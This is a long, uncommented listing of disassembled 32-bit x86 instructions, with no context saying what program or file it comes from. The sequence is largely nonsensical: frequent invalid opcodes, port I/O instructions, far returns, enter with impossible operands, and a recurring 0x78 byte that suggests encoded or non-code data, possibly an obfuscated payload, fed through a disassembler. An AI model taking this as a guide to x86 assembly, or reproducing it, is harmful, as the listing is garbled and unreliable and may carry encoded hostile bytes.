enter 0xffffffffffff8460, 0x39
mov ebp, 0xc878e254
pushal
test byte [ecx], bh
js 0x401b42
js 0x401acd
add cl, byte [0x77777650]
or eax, 0x77777650
jbe 0x401b46
ja 0x401ad3
add al, byte [ebp + 0x78b9b7f8]
sti
test eax, edi
clc
mov bh, 0xb9
js 0x401ad2
cmp al, 0x94
stosd dword es:[edi], eax
cmp byte [edx + 0x54d50149], dh
xchg dword [0xa972f838], ecx
cmp al, bh
jb 0x401a8f
add dword [ebp + 0x5cbd0158], edi
xchg ebp, edi
mov byte [0x60787879], al
js 0x401b6a
pushal
add edx, dword [edx]
js 0x401b6f
stosd dword es:[edi], eax
outsb dx, byte [esi]
into
retf
jp 0x401ab8
js 0x401b78
lea eax, [eax]
mov ecx, 0x3eb378b9
in eax, dx
mov ch, 0xce
into
retf
jp 0x401ac9
mov ecx, 0x8d7778
js 0x401b89
lea eax, [eax]
mov ecx, 0x3eb378b9
in eax, dx
movsb byte es:[edi], byte [esi]
into
retf
loopne 0x401aab
jp 0x401ada
js 0x401b9a
lea eax, [eax]
mov ecx, 0x3eb378b9
in eax, dx
in eax, dx
xchg ebx, eax
into
retf
add byte [ecx + 0x3eb378b9], bh
mov ecx, 0x3eb378b9
in eax, dx
and al, 0xd8
bound edi, qword [eax + 0x78]
popal
push 0xe2787878
js 0x401b2a
stosb byte es:[edi], al
xlatb
pushal
rcl dword [ecx]
js 0x401bc7
loop 0x401b2d
jnp 0x401bbb
ja 0x401ae2
fdivr dword [ecx - 0x12388747]
loopne 0x401b36
bound edi, qword [eax + 0x78]
ja 0x401af0
fdivr dword [ecx + 0x6ee178b9]
test al, 0xed
in eax, dx
js 0x401be5
into
ja 0x401afd
invalid
fdivr dword [ecx + 0x436078b9]
adc dword [eax + 0x78], edi
mov dword [0xb9b6007d], eax
js 0x401b1d
jge 0x401b7c
add byte [esi + 0x70fb78b9], dh
jp 0x401b0a
mov dh, 0xb9
js 0x401b7b
jo 0x401bfc
xchg esi, edi
cmpsb byte [esi], byte es:[edi]
jns 0x401bff
invalid
js 0x401b8e
lds ebx, [eax]
pushal
lds esp, [edx]
js 0x401c08
sti
fnsave dword [eax + edi*2 + 0x37]
call 0xcfb8d550
ja 0x401b29
sub al, 0xb8
mov ecx, 0xb6083678
mov ecx, 0xc8e0cb78
js 0x401b63
mov ecx, 0x60460378
js 0x401baf
inc esi
pushal
retf
sbb byte [eax + 0x78], bh
add eax, dword [esi + 0x60]
jmp 0xc8b893d0
mov ebp, 0x796ce048
mov ecx, 0xc660c878
js 0x401c40
jns 0x401b7a
js 0x401b8b
pushal
invalid
js 0x401c40
js 0x401bc4
sti
cmp al, 0x84
iretd
js 0x401c5f
loopne 0x401c62
mov byte [eax + 0x78], bh
loopne 0x401c4a
jns 0x401ba9
js 0x401bf7
lds ebx, [eax]
pushal
test byte [eax], bl
js 0x401c71
add eax, 0x26018c5
pushal
add dl, byte [eax + edi*2]
adc al, 0x78
js 0x401c79
js 0x401c62
pushal
mov dh, 0x11
js 0x401c7e
sti
lds esi, [edi + esi*2 + 5]
lds ebx, [eax]
sbb eax, dword [eax]
je 0x401c81
add eax, 0x1b18c5
mov dh, 0xb9
js 0x401c73
invalid
ja 0x401c9d
ja 0x401c24
std
cmp byte [esi], dh
fsub dword [edx + 0x78]
js 0x401c24
bound edi, qword [eax + 0x78]
idiv byte [edi - 0x32]
jg 0x401bfe
ja 0x401bbf
fdivr dword [ecx + 0x77ce78b9]
invalid
into
ja 0x401bc6
fdivr dword [ecx - 0x109c8747]
mov dl, 0x49
dec ecx
in eax, dx
iretd
or edi, dword [eax + edi*2 + 5]
mov ebp, 0x5c8ce54
mov ebp, 0x4e0c868
mov ebx, 0x296078b9
push esp
into
enter 0xffffffffffffbd05, 0x68
enter 0x4e0, 0xffffffffffffffbb
mov ecx, 0x96296078
xchg esi, eax
js 0x401cd3
add edi, dword [ebp + 0x78368780]
enter 0xfffffffffffffd05, 0x50
jbe 0x401cde
js 0x401c2a
add eax, 0x777650fd
ja 0x401c49
push esp
jns 0x401c25
js 0x401c36
pushal
sbb esi, dword [0xfd057878]
push eax
js 0x401ceb
add eax, 0x777650fd
jbe 0x401cef
ja 0x401c45
retf
enter 0xffffffffffffbb60, 0xffffffffffffff96
js 0x401cf8
add eax, 0xc8ce54bd
add eax, 0x5c868bd
std
mov ebp, 0x5c8ce54
mov ebp, 0xfd05c868
push eax
jbe 0x401d05
ja 0x401c58
pushal
out dx, eax
xchg esi, eax
js 0x401d0d
sti
cmp al, 0xac
arpl word [ebp + eax + 0x58e054bd], dx
loopne 0x401cf7
or edi, dword [eax + edi*2 - 0x38]
add eax, 0x5c868bd
std
push eax
jbe 0x401d23
ja 0x401c76
pushal
rcl dword [esi + 0x3cfb7878]
mov byte [esi], dh
push eax
js 0x401d2b
sti
cmp al, 0x88
push eax
lahf
mov ecx, 0x60460378
pop es
js 0x401d3a
ja 0x401cb1
in eax, dx
add byte [ebx], 0x46
pushal
wait
adc al, 0x78
js 0x401cc8
jo 0x401d46
in al, dx
or al, 3
enter 0x4603, 0x60
inc esi
pushal
test dword [ebx], edx
js 0x401d51
sbb dword [eax - 0x48], esp
mov ecx, 0xec38fd78
std
cmp ah, ch
jg 0x401cc3
pop esp
lahf
mov ecx, 0x3487778
lds ebp, [edi + edx*8 + 3]
cmp edx, esi
insb byte es:[edi], dx
xlatb
add edi, dword [ebx]
salc
rcr esp, cl
add dword [ebp + 0x78787878], eax
js 0x401d3a
inc ecx
cmp bh, byte [eax + edi*2 - 0x33]
add esp, dword [ecx + edi*8 + 0x64]
or byte [ecx + 0x78], bh
stc
or byte fs:[ecx + 0x78], bh
js 0x401cd1
retf
into
stosd dword es:[edi], eax
outsb dx, byte [esi]
iretd
mov ecx, 0xb8ec78b9
loop 0x401cd5
stosd dword es:[edi], eax
cmp cl, dl
add eax, 0x7776ec35
ja 0x401d95
in eax, dx
add byte [ecx], 0x2d
call 0x6bb7949d
jbe 0x401d9c
ja 0x401d92
and eax, dword [0xed0110bd]
add ebp, ebp
je 0x401cf7
pushal
mov dh, 0x36
js 0x401dac
add eax, 0x79e210bd
enter 0xfffffffffffffc60, 0xffffffffffffff95
pushal
cld
xchg ebp, eax
js 0x401db7
sti
cmp al, 0x88
into
loop 0x401dbf
ja 0x401cd4
lea esp, [eax + 0x378b9b9]
mov al, byte [0x378b9b9]
push eax
sti
jae 0x401dc7
in eax, dx
jg 0x401cfe
cmp byte [ecx + 0x2e], ah
js 0x401dd0
js 0x401d5f
std
call 0x3fb794d6
ja 0x401d9f
aas
std
call 0xa0b794dc
jns 0x401de0
js 0x401d32
retf
mov ecx, 0x38fd78b9
xchg esp, edi
add al, 0x78
js 0x401df1
js 0x401df0
js 0x401df1
ja 0x401da8
sub eax, 0x777776f0
into
loopne 0x401df9
invalid
xchg dword [edi - 0x77728888], edx
mov ecx, 0x700378b9
add eax, 0x77760cfd
js 0x401dfd
lea ecx, [eax + 0x378b9b9]
jo 0x401d93
std
or al, 0x76
ja 0x401e0a
ja 0x401d76
loop 0x401e0e
jns 0x401d5e
enter 0xffffffffffffa060, 0xffffffffffffff95
js 0x401e13
pushal
mov al, byte [0x5787895]
add eax, 0x5c810bd
std
mov ebp, 0xfd05c810
add eax, 0x77760cfd
ja 0x401d6e
or al, 0x76
ja 0x401e1c
enter 0x4560, 0x35
js 0x401e23
pushal
inc ebp
xor eax, 0x3cfb7878
mov ch, bh
sti
cmp al, 0x88
std
cmp ah, ch
mov bl, 0x77
mov ebp, 0x84edb174
in al, dx
test ah, ch
stosd dword es:[edi], eax
add eax, 0xed0180bd
add byte [ecx], 0xed
or al, 0xcf
ja 0x401d51
sar byte [ecx - 0x12888747], 1
js 0x401e40
in eax, dx
or bh, 0x77
invalid
mov ecx, 0x796ce078
js 0x401e4f
ja 0x401d66
fdivr dword [ecx - 0x42fa8747]
adc dh, cl
mov ebp, 0x60c8ce10
into
enter 0xffffffffffff8d60, 0x77
ja 0x401e5e
lea esi, [edi + 0x77]
ja 0x401db9
sar ebp, 1
std
cmp cl, dl
in al, dx
mov eax, dword [0x7776e8fd]
jbe 0x401e69
ja 0x401e6a
ja 0x401dbc
enter 0x77cb, 0xffffffffffffff8d
nop
mov ecx, 0xe96178b9
retf
mov ecx, 0x77e96178
ja 0x401e77
ja 0x401e76
ja 0x401de3
loop 0x401d84
adc al, 0x63
shl byte [ebx - 0x7e], 1
retf
or bl, 0x77
lea edx, [eax + edi*4]
mov eax, 0xbd0378b9
mov ecx, 0x74bd0378
xlatb
je 0x401de7
salc
rol dword [ecx + 0x3b], cl
int 3
sti
mov ebx, cs
cmp ecx, ebp
add esp, dword [ebx + edi*8 + 0x64]
mov ebx, cs
loop 0x401e99
jl 0x401dc9
stosd dword es:[edi], eax
push ebx
sal byte [ecx - 0x4647036b], 1
js 0x401e28
mov eax, 0xd50178b9
aad 0x74
add dword [ebp + 0x68bd016c], edi
je 0x401e2b
mov ebp, 0x68bd016c
insb byte es:[edi], dx
add dword [ebp - 0x35037898], edi
jns 0x401eac
xchg esp, edi
retf 0x7879
js 0x401e04
iretd
pushal
mov esp, 0x377776d
ja 0x401e45
jo 0x401e15
add eax, 0x793674bd
js 0x401ec3
mov ebp, 0x78793674
js 0x401e44
clc
enter 0xffffffffffffcecf, 0x77
invalid
iretd
ja 0x401dde
cld
mov eax, 0x38fd78b9
in eax, dx
invalid
ja 0x401e4d
je 0x401ed9
invalid
je 0x401ee2
ja 0x401df9
invalid
call 0x5b8d829
mov ebp, 0xe0cfc874
je 0x401e3c
iretd
jp 0x401ef0
js 0x401ef1
js 0x401e72
clc
ja 0x401e09
cld
mov eax, 0x38fd78b9
in eax, dx
mov ecx, 0xed38fd78
js 0x401e7e
cmp ch, ch
invalid
js 0x401f01
in eax, dx
je 0x401f04
invalid
mov ecx, 0xd960cf78
xor edi, dword [eax + 0x78]
fnstenv [ebx]
js 0x401f19
aas
jl 0x401e40
add byte [edx - 0x47], bh
js 0x401f09
pushal
push eax
insb byte es:[edi], dx
ja 0x401f24
ja 0x401e7f
rol dword [ecx], 1
mov ebp, 0x74c50564
add dword [ebp + 0x74c50564], edi
leave
enter 0x77ce, 0xffffffffffffff8d
cld
mov eax, 0x38fd78b9
xchg ebp, edi
das
js 0x401f3c
js 0x401f3d
js 0x401ea8
loop 0x401f41
jp 0x401ecd
add eax, 0x36d76cbd
clc
mov ebp, 0xf836d76c
jp 0x401e88
js 0x401e99
add eax, 0x5c870bd
mov ebp, 0xcecbc868
jo 0x401e9d
add eax, 0xcbc868bd
into
push 0x1cecbc8
cmc
retf
add ebp, esi
jo 0x401f56
in eax, dx
je 0x401f59
lea eax, [eax + edi*4]
mov ecx, 0x70f5b178
in al, dx
mov es, word [0x7ce270bd]
jl 0x401eba
enter 0x7ce2, 0xffffffffffffffcb
into
ja 0x401ee5
loop 0x401f70
retf
je 0x401efb
cmc
jo 0x401f74
ja 0x401e8b
lea eax, [eax]
mov eax, 0xbd0578b9
add byte [eax - 0x42fa8747], bh
js 0x401f08
mov ebp, 0x7aec366c
insb byte es:[edi], dx
in al, dx
jp 0x401ec2
mov ecx, 0xbd05c878
js 0x401ed3
add eax, 0x5c870bd
mov ebp, 0xcecbc868
jo 0x401ed7
add eax, 0xcbc868bd
into
push 0x77cecbc8
in eax, dx
ja 0x401f04
je 0x401f90
lea eax, [eax + edi*4]
mov ecx, 0xd079e278
mov cl, 0xbd
jo 0x401f11
mov ebp, 0x18eec70
in al, dx
mov es, word [ecx]
mov ebp, 0x70bd0570
loop 0x401faa
enter 0x7ce2, 0xffffffffffffffcb
into
ja 0x401f22
je 0x401fae
lea eax, [eax]
mov eax, 0xbd0578b9
add eax, 0xdc366cbd
mov ebp, 0x7adc366c
mov ecx, 0xbd05c878
jo 0x401f11
insb byte es:[edi], dx
fdivr qword ss:[edx - 0x47]
jp 0x401efc
js 0x401f0d
add eax, 0x5c870bd
mov ebp, 0xcecbc868
add eax, 0xcbc868bd
into
ja 0x401f3e
je 0x401fca
lea eax, [eax + edi*4]
mov ecx, 0x70d5b178
aad 0x70
in al, dx
mov es, word [0x7ce270bd]
enter 0x7ce2, 0xffffffffffffffcb
into
ja 0x401f56
je 0x401f6c
aad 0x70
ja 0x401efc
jo 0x401fe5
lea eax, [eax]
add byte [eax - 0x12888747], bh
mov eax, 0xed7778b9
in eax, dx
je 0x401fee
invalid
in eax, dx
pushal
div byte [edx]
js 0x401ffc
rcl edi, 1
salc
rol dword [ecx + 0x3b], cl
int 3
cmp ecx, ebp
add esp, dword [eax + esi - 0x64]
mov bl, 0x78
js 0x401ff3
xor byte fs:[ebx + esi*4 + 0x71607878], bl
xor edi, dword [eax + 0x78]
js 0x40200a
pushal
jno 0x401fc8
js 0x40200f
sti
mov ch, 0x70
mov eax, 0xcb7878b9
iretd
xchg esp, edi
stosd dword es:[edi], eax
jp 0x40201d
js 0x40201e
in eax, dx
add byte [0x7750dcfd], 0x77
loopne 0x401fb9
std
fcom qword [eax + 0x77]
ja 0x401f90
or byte [ebx - 0x47], bh
jnp 0x401f6c
js 0x401f7d
pushal
aam 0x32
js 0x402032
js 0x401fc0
add eax, 0x7750dcfd
std
fcom qword [eax + 0x77]
ja 0x401f89
enter 0x7260, 0x71
pushal
jb 0x402035
ja 0x40203d
ja 0x40203e
ja 0x401fb5
in eax, dx
xor byte [ebx], 0xfc
cld
jnp 0x401f86
js 0x401fd4
std
fcom qword [eax + 0x77]
ja 0x401fa0
push eax
ja 0x40204b
retf
enter 0xffffffffffffb360, 0x32
js 0x402053
sti
cmp al, 0x94
add eax, 0x7777ecfd
ja 0x401fc5
jns 0x401f6f
js 0x402061
enter 0xfffffffffffffd05, 0xffffffffffffffdc
push eax
ja 0x402067
enter 0xffffffffffff8d77, 0x70
mov eax, 0x700378b9
sti
ja 0x402073
ja 0x401f84
xchg esp, edi
cld
dec edi
jns 0x402079
js 0x401fd1
loop 0x401f87
loop 0x401f8c
add eax, 0x776364fd
ja 0x401fee
arpl word [edi + 0x77], si
loopne 0x401ffb
in al, dx
jnp 0x401fca
js 0x401fdb
pushal
jbe 0x402047
js 0x402090
sti
cmp al, 0x88
add eax, 0x78e274bd
je 0x402001
loop 0x402098
js 0x401fe9
enter 0xfffffffffffffd05, 0x64
arpl word [edi + 0x77], si
add eax, 0x776364fd
ja 0x401ff0
enter 0xffffffffffffb160, 0x33
pushal
mov cl, 0x33
js 0x4020a5
ror eax, 1
add eax, 0x776364fd
ja 0x401ffe
std
arpl word fs:[edi + 0x77], si
arpl word [edi + 0x77], si
enter 0x77cf, 0xffffffffffffff8d
cmp byte [ecx - 0x7d1d8747], 0x36
and byte [eax - 0x47], bh
iretd
loop 0x401fc1
xor byte [esi], 0x20
js 0x401ffc
and byte ss:[eax - 0x47], bh
js 0x402027
test esi, ecx
add eax, 0x776364fd
ja 0x40202e
ja 0x4020c4
loopne 0x402027
jnp 0x40200a
js 0x40201b
pushal
xor dword ss:[eax + 0x78], edi
sti
cmp al, 0x8c
add eax, 0x78e274bd
enter 0xfffffffffffffd05, 0x64
add eax, 0x776364fd
ja 0x402030
arpl word [edi + 0x77], si
enter 0x7160, 0x32
pushal
jno 0x40209d
js 0x4020e5
ror eax, 1
add eax, 0x776364fd
ja 0x40203e
ja 0x4020ec
enter 0x77cf, 0xffffffffffffff8d
iretd
cmp byte [ecx - 0x7d1d8747], 0xe2
js 0x402060
and dl, 0x85
into
test esi, ecx
add eax, 0x776364fd
ja 0x402069
mov esp, 0xc878b97b
pushal
sti
xor dword [eax + 0x78], edi
js 0x40210b
sti
cmp al, 0x8c
add eax, 0x78e274bd
enter 0xfffffffffffffd05, 0x64
arpl word [edi + 0x77], si
je 0x40207c
js 0x402064
add eax, 0x776364fd
ja 0x40206b
std
arpl word fs:[edi + 0x77], si
enter 0x3660, 0x32
js 0x402120
pushal
xor bh, byte ss:[eax + 0x78]
xor bh, byte [eax + 0x78]
ror eax, 1
add eax, 0x776364fd
ja 0x402079
iretd
cmp byte [ecx - 0x7d1d8747], 0xe2
test esi, ecx
add eax, 0x776364fd
ja 0x4020a4
pushfd
jnp 0x402080
js 0x402091
pushal
sal byte [ecx], 0x78
js 0x4020ca
js 0x402146
sti
cmp al, 0x8c
add eax, 0x78e274bd
enter 0xfffffffffffffd05, 0x64
arpl word [edi + 0x77], si
enter 0xfffffffffffffb60, 0x32
sti
xor bh, byte [eax + 0x78]
js 0x40215b
ror eax, 1
add eax, 0x776364fd
ja 0x4020b4
std
arpl word fs:[edi + 0x77], si
enter 0x77cf, 0xffffffffffffff8d
iretd
cmp byte [ecx - 0x7d1d8747], 0xe2
test esi, ecx
mov ecx, 0x82e278b9
loop 0x40207c
js 0x4020d6
and dl, 0x85
into
add eax, 0x776364fd
ja 0x4020df
nop
jnp 0x4020bb
js 0x4020cc
pushal
test dword [ecx], esi
js 0x402181
sti
cmp al, 0x8c
add eax, 0x78e274bd
mov word [0x78e274bd], es
je 0x4020f2
js 0x4020da
enter 0xfffffffffffffd05, 0x64
arpl word [edi + 0x77], si
add eax, 0x776364fd
ja 0x4020e1
arpl word fs:[edi + 0x77], si
enter 0xffffffffffffc060, 0x32
js 0x402196
pushal
sal byte [edx], 0x78
js 0x4020f0
ror eax, 1
enter 0xfffffffffffffd05, 0x64
arpl word [edi + 0x77], si
add eax, 0x776364fd
ja 0x4020ef
std
arpl word fs:[edi + 0x77], si
enter 0x77cf, 0xffffffffffffff8d
cmp byte [ecx + 0x77cf78b9], 0x8d
adc al, 0xb8
mov ecx, 0x80f50378
into
iretd
iretd
or dh, 0xcf
add eax, 0x773c54fd
ja 0x402121
fdivr qword [ecx - 0x47]
js 0x40210e
enter 0x4360, 0x30
js 0x4021c3
pushal
inc ebx
xor byte [eax + 0x78], bh
sti
cmp al, 0x88
add eax, 0x773c54fd
ja 0x402137
jg 0x40211f
ja 0x4020e6
js 0x402114
mov ecx, 0xfd05cf78
push esp
cmp al, 0x77
ja 0x402145
invalid
loop 0x4021ea
loop 0x4021ec
add eax, 0x773c54fd
cmp al, 0x77
ja 0x402148
enter 0xffffffffffffd560, 0x78
js 0x4021f8
iretd
add eax, 0x7750dcfd
std
fcom qword [eax + 0x77]
ja 0x402153
enter 0x60, 0x30
pushal
add byte [eax], dh
js 0x402206
iretd
add eax, 0x773c54fd
ja 0x402176
or byte [ebx - 0x47], bh
js 0x402163
enter 0xffffffffffffee60, 0x30
js 0x402218
pushal
out dx, al
xor byte [eax + 0x78], bh
add eax, 0x773c54fd
ja 0x40216f
add eax, 0x7750dcfd
ja 0x402176
pushal
mov eax, dword [0x5787832]
js 0x4021b9
std
push esp
cmp al, 0x77
ja 0x402182
enter 0xfffffffffffffd05, 0xffffffffffffffdc
push eax
ja 0x402237
add eax, 0x7750dcfd
std
fcom qword [eax + 0x77]
ja 0x402189
enter 0x2460, 0x31
pushal
and al, 0x31
xor dword [eax + 0x78], edi
js 0x40223e
sti
cmp al, 0xbc
add eax, 0x7750dcfd
ja 0x4021b2
jg 0x40219a
ja 0x402161
js 0x40218f
mov ecx, 0xd3d7d678
inc ecx
cmp ecx, ebp
add esp, dword [eax + esi - 0x5c]
invalid
retf
add ebp, ebp
or bh, 2
jle 0x4021bb
pushal
cld
hlt
std
cmp cl, dl
xchg esp, edi
retf
mov cl, 0x95
jo 0x4021bf
mov eax, 0xfc8778b9
mov ebp, 0x5787879
mov ecx, 0xbdfc8778
jns 0x402286
js 0x402215
std
dec esp
arpl word [edi + 0x77], si
into
enter 0xffffffffffffce60, 0x31
js 0x402294
pushal
into
xor dword [eax + 0x78], edi
into
pushal
mov esp, 0xfb787831
cmp al, 0x84
clc
hlt
enter 0x2360, 0x31
pushal
and esi, dword [ecx]
js 0x4022b5
rcl ecx, 1
add ebp, ebp
rol dword [ebx], 1
in eax, dx
test byte [ebx - 0x1f801295], dh
adc byte [eax - 0x47], bh
imul ebp, ebp, 0x7f
loopne 0x402258
js 0x402203
mov ecx, 0xce796378
js 0x4022af
jns 0x40221c
add eax, 0x77634cfd
ja 0x40221d
pushal
push es
xor dword [eax + 0x78], edi
js 0x4022d2
mov cl, 0x95
hlt
and byte [ebx - 0x47], bh
js 0x402238
pushal
xor dword [ecx], 0xfdd17878
js 0x4022e7
sar ebp, 1
cmp cl, dl
in eax, dx
mov eax, esp
sbb byte [ebx - 0x47], bh
js 0x402249
pushal
jo 0x4022ae
js 0x4022f8
sar ebp, 1
cmp cl, dl
in al, dx
mov ebp, 0x77d4fd05
ja 0x402303
add eax, 0x7777d4fd
ja 0x40226d
loopne 0x402307
jns 0x402217
mov byte [eax + 0x78], bh
js 0x402309
enter 0xfffffffffffffd05, 0x4c
dec esp
arpl word [edi + 0x77], si
enter 0xffffffffffff8d77, 0x70
mov eax, 0xc50578b9
or bl, 0xc9
add dword [ebp - 0x4f52888c], edi
jns 0x402265
lea esi, [eax - 0x48]
mov ecx, 0x80c50578
retf
je 0x40231f
lodsd eax, dword [esi]
mov al, 0x79
mov ecx, 0xf4ad7778
mov esp, 0x77c878b9
js 0x402325
lodsd eax, dword [esi]
hlt
js 0x40227c
ja 0x402243
lea eax, [eax + 0x7778b9b9]
in eax, dx
je 0x402335
cmp byte [ecx - 0x12888747], 0x74
ja 0x40224c
lea edx, [eax + edi*4]
adc al, 0xb8
mov ecx, 0xd079e278
popal
jl 0x402344
js 0x402343
add eax, 0x7777d4fd
ja 0x4022b2
js 0x40228c
mov eax, 0x5c87878
std
dec esp
js 0x40234e
enter 0xfffffffffffffd05, 0x4c
arpl word [edi + 0x77], si
ja 0x4022a6
enter 0xffffffffffff8d77, 0x70
mov eax, 0x79e278b9
sti
ja 0x40226d
jo 0x40229a
mov ecx, 0xfb79e278
jo 0x402360
add dword [ebp - 0x7213288c], edi
add eax, 0x77634cfd
ja 0x4022be
pushal
out dx, eax
out dx, eax
js 0x402373
js 0x4022af
mov bl, 0x3f
aas
rol dword [edi + 0x787a41fc], 1
js 0x40230a
std
dec esp
arpl word [edi + 0x77], si
ja 0x4022d3
enter 0xffffffffffff8d77, 0x44
ja 0x40229a
lea eax, [eax + edi*4 - 0x47]
js 0x402315
inc esp
mov eax, 0x680378b9
mov ecx, 0x5680378
std
push 0x634cfd05
ja 0x402390
add eax, 0x77634cfd
ja 0x4022fa
dec esp
arpl word [edi + 0x77], si
loopne 0x402313
clc
js 0x402395
js 0x4022e7
ja 0x4022ae
js 0x4022dc
mov ecx, 0xd4fd0578
ja 0x4023a1
add eax, 0x7777d4fd
ja 0x40230c
jns 0x4022b6
js 0x4023a8
enter 0xfffffffffffffd05, 0x4c
std
dec esp
arpl word [edi + 0x77], si
ja 0x4023ae
enter 0xffffffffffff8d77, 0x70
mov eax, 0x70fb78b9
ja 0x402343
mov ebp, 0x58ded74
std
dec esp
arpl word [edi + 0x77], si
into
je 0x402332
in eax, dx
lea eax, [0x77634cfd]
ja 0x40231b
enter 0xffffffffffff8d77, 0x78
mov ecx, 0x38ab78b9
popal
ja 0x4022dd
js 0x40230b
mov ecx, 0x6138ab78
in al, dx
jp 0x4023d2
js 0x402361
lds eax, [eax - 0x52883635]
or bl, 0xc9
ja 0x40230f
lodsd eax, dword [esi]
cld
mov esp, 0xad7778b9
int3
ja 0x402362
je 0x4023ee
lea edx, [eax + edi*4]
mov ecx, 0x8cd5b178
loop 0x4023fb
salc
in eax, dx
jnp 0x402386
in eax, dx
invalid
mov ebp, 0x70d5015c
enter 0xffffffffffffbd05, 0x70
enter 0x60cb, 0xffffffffffffff8c
jnp 0x402412
jo 0x40235d
retf
pushal
invalid
js 0x402413
in eax, dx
mov word [0x77634cfd], es
arpl word [edi + 0x77], si
ja 0x402393
ja 0x40241c
in eax, dx
pop esp
ja 0x402396
in eax, dx
jo 0x402373
pushal
mov cl, 0x7d
jge 0x402427
js 0x402428
js 0x4023ac
sti
cmp al, 0x98
mov cl, 0xd5
jo 0x4023a3
mov dword [edi - 0x13], esi
jo 0x40238b
iretd
ja 0x40234b
int3
fdivr qword [ecx - 0x2fa8747]
dec esp
arpl word [edi + 0x77], si
enter 0xffffffffffffe560, 0xfffffffffffffff1
int1
js 0x40244d
rol dword [0x7777d4fd], 1
ja 0x4023ac
enter 0xfffffffffffffd05, 0x4c
arpl word [edi + 0x77], si
ja 0x40245b
enter 0xffffffffffff8d77, 0x70
mov eax, 0xc50578b9
add byte [ecx], 0xbd
je 0x4023bb
lea esi, [eax - 0x48]
mov ecx, 0x80c50578
js 0x4023f1
lds eax, [eax - 0x368b42ff]
add dword [ebp + 0x77c8c974], edi
lea ecx, [eax - 0x48]
mov ecx, 0x80bd7978
add edi, dword [ebp - 0x34343180]
add dword [ebp + 0x74ed7760], edi
ja 0x402397
leave
enter 0xffffffffffff8d77, 0x48
mov eax, 0xbd7978b9
add byte [ebx], 0xbd
or dh, 0xcb
retf
retf
jl 0x4023c5
mov ecx, 0x79a81978
mov ecx, 0xe2c8b878
xor byte [edi - 0x73], 0xcc
mov ecx, 0x77c878b9
lea ebp, [ecx + edi*4 - 0x52888747]
js 0x4023cc
mov eax, 0x7780e2c8
enter 0xffffffffffff80e2, 0x77
invalid
js 0x4023e6
ja 0x4023ad
lodsb al, byte [esi]
mov ecx, 0xad7778b9
test al, 0x79
jns 0x4023e2
mov ecx, 0x77680378
js 0x40242e
push 0xbcecad77
mov ecx, 0x2260ce78
das
lodsd eax, dword [esi]
in al, dx
mov esp, 0x60ce78b9
and ch, byte [edi]
js 0x4024b0
retf
ja 0x4024bd
sti
cmp al, 0x94
add byte [ebp - 0x7f42fa96], bh
retf
add eax, 0xc8cb80bd
ja 0x402400
mov ebp, 0x77c8cb80
lodsd eax, dword [esi]
test al, 0x79
mov ecx, 0xed77ce78
je 0x4024d3
ja 0x4023ea
lea eax, [eax - 0x31874647]
cmp byte [ecx - 0x30318747], 0x77
invalid
iretd
lodsb al, byte [esi]
jns 0x40242d
js 0x40242e
enter 0xffffffffffff80e2, 0x77
invalid
lodsb al, byte [esi]
jns 0x402444
js 0x402490
push 0xbcf0ad77
mov ecx, 0xc060ce78
das
js 0x402512
invalid
retf
cmp al, 0x94
add byte [ebp - 0x7f42fa97], bh
retf
or bl, 0xc8
ja 0x402462
lodsb al, byte [esi]
jns 0x402471
js 0x402488
ja 0x4024a9
je 0x402535
ja 0x40244c
lea eax, [eax - 0x31874647]
iretd
cmp byte [ecx - 0x30318747], 0x77
invalid
mov ecx, 0x95b178b9
xchg ebp, eax
hlt
mov al, 0x79
mov ecx, 0xe2c8b878
xor byte [edi - 0x73], 0xcc
mov ecx, 0x77c878b9
lea ebp, [ecx + edi*4 - 0x52888747]
enter 0xffffffffffff80e2, 0x77
invalid
js 0x40256b
lodsd eax, dword [esi]
mov al, 0x79
mov ecx, 0x77680378
lodsd eax, dword [esi]
hlt
ja 0x40258c
sti
cmp al, 0x94
add byte [ebp - 0x7f42fa94], bh
retf
add eax, 0xc8cb80bd
ja 0x4024cf
mov al, 0x79
mov ecx, 0xed77ce78
jns 0x4024de
js 0x4024f5
ja 0x402516
je 0x4025a2
lea eax, [eax - 0x31874647]
iretd
mov ecx, 0x77c878b9
invalid
mov edx, 0x490a7c05
pop eax
add dword [ebp - 0x1d374780], edi
xor byte [edi - 0x73], 0xcc
mov ecx, 0x77c878b9
loop 0x4024e3
ja 0x4024f2
int3
lea ebp, [ecx + edi*4 - 0x34348747]
ja 0x402561
retf
add byte [ebx], 0x68
into
pushal
stc
ja 0x4025f4
sti
cmp al, 0x88
add eax, 0xc8cb80bd
ja 0x402574
enter 0xffffffffffffed77, 0xffffffffffffff80
into
ja 0x402578
or dh, 0x77
in eax, dx
je 0x402604
ja 0x40251b
lea eax, [eax - 0x31874647]
iretd
cmp byte [ecx - 0x30318747], 0x77
invalid
mov ecx, 0xcfce78b9
ja 0x402523
int3
mov ebp, 0xbd05c860
je 0x402571
pushal
sahf
js 0x402625
js 0x402580
sal dword [edi - 0x13], 1
in eax, dx
je 0x40262b
lea edx, [eax + edi*4]
mov ecx, 0x88d5b178
in al, dx
xchg dword [0x77634cfd], eax
ja 0x4025a7
arpl word [edi + 0x77], si
loop 0x402645
jg 0x40258f
enter 0xffffffffffff8d77, 0x78
mov ecx, 0x3f0378b9
xlatb
ja 0x402556
js 0x402584
mov ecx, 0xd73f0378
salc
rol dword [ecx + 0x3b], cl
int 3
sti
xchg esp, eax
retf
sbb ch, bh
js 0x4025b1
js 0x4025fa
mov ebp, 0x78fe1875
mov ecx, 0x76bd0078
sbb bh, bh
js 0x4025c1
js 0x40260a
mov ebp, 0x74bd0577
loop 0x40268d
ja 0x40268e
add eax, ebp
test byte [eax], al
mov ebp, 0x883cfb6b
add cl, cl
xor byte [ecx + 0x68cd0091], 2
leave
add dword [eax], 0xb90283b9
test byte [eax], al
int 0x69
add cl, cl
add byte [eax], 0xcd
add ch, cl
push 0x81c902
mov ecx, 0x84b90283
add byte [ecx - 0x7b46fd7d], bh
add ch, cl
imul eax, dword [edx], 0xcd0082c9
int 0x6a
add byte [ebp + 0x197fed6c], bh
push 0
mov ebp, 0x197fed6c
cld
mov esp, 0x790178b9
sti
int1
jl 0x4025cb
jns 0x402642
idiv byte [ebx + 1]
sar dword [edi + esi*2 - 0x57], 1
add eax, 0xe9775cbd
jl 0x402638
mov ebp, 0x7ce9775c
loopne 0x402685
sub al, 0x7b
mov ecx, 0x2c60c878
sub edi, dword [eax + 0x78]
jnp 0x402614
js 0x402625
pushal
sub al, 0x2b
js 0x4026da
add ebp, ebp
cmp bl, 0x3c
mov byte [0xc8cb70bd], al
add eax, 0x7de268bd
enter 0xffffffffffffae77, 0x77
lea eax, [eax + 0x578b9b9]
mov ebp, 0x5c8cb70
mov ebp, 0x5560c85c
enter 0x5560, 0x2c
js 0x402701
